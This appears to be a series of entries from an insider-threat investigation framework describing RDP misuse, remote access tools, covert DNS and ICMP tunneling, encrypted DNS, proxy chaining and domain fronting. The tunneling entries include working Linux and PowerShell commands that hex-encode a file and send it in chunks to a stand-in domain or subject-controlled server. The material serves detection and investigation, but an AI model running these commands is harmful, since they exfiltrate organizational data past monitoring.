Protocol Allow Listing

The subject initiates configuration or usage of Remote Desktop Protocol (RDP) to enable remote control of an endpoint or server, typically for purposes not sanctioned by the organization. This activity may include enabling RDP settings through system configuration, altering firewall rules, adding users to RDP groups, or initiating browser-based remote access sessions. While RDP is commonly used for legitimate administrative and support purposes, its unauthorized configuration is a well-documented preparatory behavior preceding data exfiltration, sabotage, or persistent unauthorized access.

RDP can be enabled through local system settings, remote management tools, or even web-based services that proxy or tunnel RDP traffic through HTTPS. Subjects may configure RDP access for themselves, for a secondary device, or to facilitate third-party (external) involvement in insider threat activities.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

The subject initiates configuration changes to enable Remote Desktop Protocol (RDP) or Remote Assistance on a Windows system, typically through the System Properties dialog, registry modifications, or local group policy. This behavior may indicate preparatory actions to grant unauthorized remote access to the endpoint, whether to an external actor, co-conspirator, or secondary account.

Characteristics

Subject opens the Remote tab within the System Properties dialog (SystemPropertiesRemote.exe) and enables:

• Remote Assistance
  Remote Desktop

May configure additional RDP-related settings such as:

• Allowing connections from any version of RDP clients (less secure)
  Adding specific users to the Remote Desktop Users group
  Modifying Group Policy to allow RDP access

Often accompanied by:

• Firewall rule changes to allow inbound RDP (TCP 3389)
  Creation of local accounts or service accounts with RDP permissions
  Disabling sleep, lock, or idle timeout settings to keep the system continuously accessible

In some cases, used to stage access prior to file exfiltration, remote control handoff, or backdoor persistence.

Example Scenario

A subject accesses the Remote tab via SystemPropertiesRemote.exe and enables Remote Desktop, selecting the “Allow connections from computers running any version of Remote Desktop” option. They add a personal email-based Microsoft account to the Remote Desktop Users group. No help desk ticket or change request is submitted. Over the following days, successful RDP logins are observed from an IP address outside of corporate VPN boundaries, correlating with a data transfer spike.

The subject deploys a Remote Access Tool (RAT): a software implant that provides covert, persistent remote control of an endpoint or server—enabling continued unauthorized access, monitoring, or post-employment re-entry. Unlike sanctioned remote administration platforms, RATs are deployed without organizational oversight and are often configured to obfuscate their presence, evade detection, or blend into legitimate activity.

RATs deployed by insiders may be off-the-shelf tools (e.g. njRAT, Quasar, Remcos), lightly modified open-source frameworks (e.g. Havoc, Pupy), or commercial-grade products repurposed for unsanctioned use (e.g. AnyDesk, TeamViewer in stealth mode). 

Functionality typically includes:

• Full GUI or shell access
• File system interaction
• Screenshot and webcam capture
• Credential harvesting
• Process and registry manipulation
• Optional keylogging and persistence modules

Deployment methods include manual installation, script-wrapped droppers, DLL side-loading, or execution via LOLBins (mshta, rundll32). Persistence is typically achieved through scheduled tasks, registry run keys, or disguised service installations. In some cases, the RAT may be configured to activate only during specific windows or respond to remote beacons, reducing exposure to detection.

The subject installs and activates browser-based VPN or proxy extensions (such as Hola VPN, Browsec, or ZenMate) to anonymize specific web activity while avoiding host-level detection or access restrictions. These lightweight tools require no administrative privileges and often evade traditional endpoint controls, allowing subjects to selectively obscure browsing sessions, bypass content filtering, or access external services undetected.

Unlike full-system VPN clients, browser-based VPNs operate at the application layer, making them more difficult to inventory, log, or control using conventional network or endpoint defenses. Their use complicates investigative visibility into user intent, session content, and destination domains, particularly when paired with HTTPS encryption or private browsing modes. This technique represents a form of network anti-forensics intended to obscure subject behavior with minimal system footprint or oversight.

A subject exfiltrates organizational data through an existing command-and-control channel established by malware, a remote access tool, backdoor, implant, agent, or unauthorized remote administration framework. The same communication pathway used to issue commands, maintain remote access, or control the compromised system is also used to transmit data outside the organization’s control.

This infringement may involve files, credentials, screenshots, system information, database exports, or other collected data being sent over HTTP/S, TCP, DNS, encrypted tunnels, or proprietary remote access protocols. Because the exfiltration occurs over an already established control channel, the data transfer may appear as part of existing outbound traffic rather than a separate upload or file-sharing event.

The subject establishes an interactive command-line, graphical, or cloud-native session with an additional organizational system. The subject may use Remote Desktop Protocol, Secure Shell, Virtual Network Computing, a cloud virtual-machine console, or an equivalent service to operate the destination system.

The subject uses a network-accessible administrative service or operating-system management interface to access resources, transfer content, execute commands, or perform actions on an additional organizational system without establishing an ordinary interactive desktop session.

Methods may include Server Message Block (SMB), Windows administrative shares, Distributed Component Object Model (DCOM), Windows Remote Management (WinRM), or remote Windows Management Instrumentation (WMI).

The subject exploits a vulnerability in a network-accessible service, application, management interface, operating-system component, or hypervisor to obtain unauthorized access or execution capability on an additional organizational system.

This object applies as Preparation where exploitation is used to reach or establish an operating position on a destination system before a later infringement. Where the exploitation itself causes the principal harm, disruption, or unauthorized modification, investigators should also apply the relevant Infringement section.

The subject intercepts, alters, substitutes, suppresses, or redirects organizational data while it is moving between systems, applications, processes, interfaces, devices, or recipients. The destination consequently receives information that differs from the data originally transmitted.

The behavior may affect network traffic, application programming interface messages, middleware, message queues, email transport, print workflows, clipboard operations, transaction instructions, or other data-transfer mechanisms.

A subject configures or uses an unauthorized encrypted Domain Name System (DNS) service to prevent organizational infrastructure from observing, recording, filtering, or enforcing domain-resolution activity.

Encrypted DNS protocols, including DNS over HTTPS (DoH) and DNS over Transport Layer Security (DoT), protect DNS queries from observation while they travel between the endpoint and the resolver. Although these protocols have legitimate privacy and security applications, their unauthorized use can bypass enterprise DNS servers, DNS filtering, threat-intelligence controls, and domain-level investigative logging.

The subject may enable encrypted DNS through browser settings, operating-system configuration, mobile applications, command-line utilities, or third-party resolver software. They may also select a public or personally controlled resolver that is not governed by the organization.

This behavior reduces investigators’ ability to determine which domains the subject attempted to access. Network telemetry may show only an encrypted connection to the resolver rather than the individual domain queries conducted through it. Unauthorized encrypted DNS may be used to conceal access to prohibited services, external infrastructure, anonymization platforms, remote-access services, or data-transfer destinations.

The use of encrypted DNS alone does not establish improper intent. Investigators should determine whether the resolver was approved, whether organizational DNS controls were deliberately bypassed, and whether the activity coincided with another infringement or anti-forensics behavior.

A subject routes network traffic through multiple proxy servers, relay services, gateways, or intermediary systems to conceal the final destination of the connection and frustrate attribution.

Unlike the use of a single manually configured proxy, proxy chaining deliberately introduces multiple network hops between the subject’s endpoint and the external destination. Each intermediary may reveal only the preceding and subsequent connection, preventing any single organizational log source from recording the complete route.

The chain may include web proxies, Secure Shell tunnels, SOCKS proxies, commercial anonymity services, cloud-hosted systems, compromised infrastructure, or personally controlled servers. The subject may configure the chain through browser settings, operating-system proxy configuration, command-line utilities, scripts, tunneling applications, or proxy-management software.

Proxy chaining can impede investigation by causing network controls to record only the first proxy in the sequence. It may also separate the subject’s organizational identity and source address from the service ultimately accessed. Where different proxy nodes use encryption or operate across multiple jurisdictions or providers, obtaining a complete record of the activity may be difficult or impossible.

Investigators should distinguish proxy chaining from legitimate multi-layered enterprise network architecture. Relevant factors include whether the intermediary systems were authorized, whether the subject deliberately introduced additional nodes, whether the route bypassed approved inspection infrastructure, and whether the activity was associated with concealed communications, unauthorized access, or data transfer.

A subject causes network activity to appear directed toward an approved, trusted, or otherwise benign service while the underlying communication is routed to a different destination.

Destination disguising may exploit differences between the hostname, certificate, application request, routing layer, or infrastructure used to establish and process a connection. To organizational monitoring, the traffic may initially appear associated with a common cloud, content-delivery, hosting, or software service, while the actual request is forwarded to infrastructure controlled by or selected by the subject.

Methods may include domain fronting, manipulation of host headers, use of shared content-delivery infrastructure, concealed redirects, or the abuse of legitimate cloud services as intermediary routing points. The subject may select these methods because blocking the apparent destination would disrupt legitimate organizational activity.

This behavior can frustrate domain filtering, proxy review, firewall enforcement, and investigative attribution. Security controls may record the visible front domain or shared infrastructure address without identifying the concealed destination or service reached through it.

Investigators should examine Domain Name System records, Transport Layer Security handshake information, Server Name Indication values, certificates, Hypertext Transfer Protocol headers, proxy records, redirects, and destination infrastructure. Differences between these sources may indicate that the apparent and actual destinations do not align.

The use of shared cloud or content-delivery infrastructure does not itself establish obfuscation. Classification should require evidence that the subject deliberately used the discrepancy to conceal the true destination or evade organizational monitoring.

A subject performs limited network activity to determine whether firewalls, network segmentation, Domain Name System filtering, web proxies, intrusion detection systems, or protocol restrictions identify or block the connection.

The subject may attempt to reach a prohibited domain, connect to a restricted port, access another network segment, use an unapproved protocol, configure a proxy, or send a small amount of traffic through a normally restricted route. The objective is to establish whether the network path is available and whether the activity produces an alert or investigative response.

Testing may be repeated across different destinations, ports, protocols, systems, or times of day. A subject may use the results to select a less monitored network route, bypass segmentation, communicate with external infrastructure, or prepare a data-transfer channel.